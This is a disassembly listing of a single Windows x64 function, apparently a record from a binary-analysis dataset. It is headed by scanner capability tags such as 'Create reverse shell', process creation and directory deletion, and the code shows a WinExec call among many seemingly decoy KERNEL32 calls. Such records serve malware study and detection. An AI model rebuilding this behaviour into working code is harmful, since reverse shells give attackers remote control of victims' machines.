Function at 0x180009c80
Capabilities:
Create process on windows
Create reverse shell
Delete directory
Enumerate system firmware tables
Print debug messages
Read .ini file
Read pipe
Write pipe

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov dword [rsp + 0x48], 0x1cf
lea rax, [fcn.180003e10]
add rax, 0x1cf
mov dword [rsp + 0x60], 0x4a2
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x60]
movaps xmm0, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.180015c50
xor edi, edi
mov qword [0x180125778], rax
cmp dword [0x180125770], 0x7394420f
mov byte [0x18012574a], 1
jne 0x180009d80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
lock inc dword [rdi]
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorGroupCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
lea rcx, [0x18013fdd0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLongPathNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [0x18013fe08]
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPhysicallyInstalledSystemMemory]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [rsp + 0x48], 0x20a
lea rax, [0x180007020]
add rax, 0x20a
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.180014a40
mov dword [rsp + 0x48], 0x215
lea rax, [0x180004f90]
add rax, 0x215
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.180015e50
cmp dword [0x180125770], 0x96485fce
movzx ebx, al
jne 0x180009eee
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLocaleName]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CheckTokenMembershipEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetApplicationRestartSettings]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProfileSectionW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommTimeouts]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolStackInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransactNamedPipe]
xor r8d, r8d
lea rcx, [0x18013fe20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ResolveLocaleName]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
test bl, bl
jne 0x180009eff
lea rcx, [0x18013fe58]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret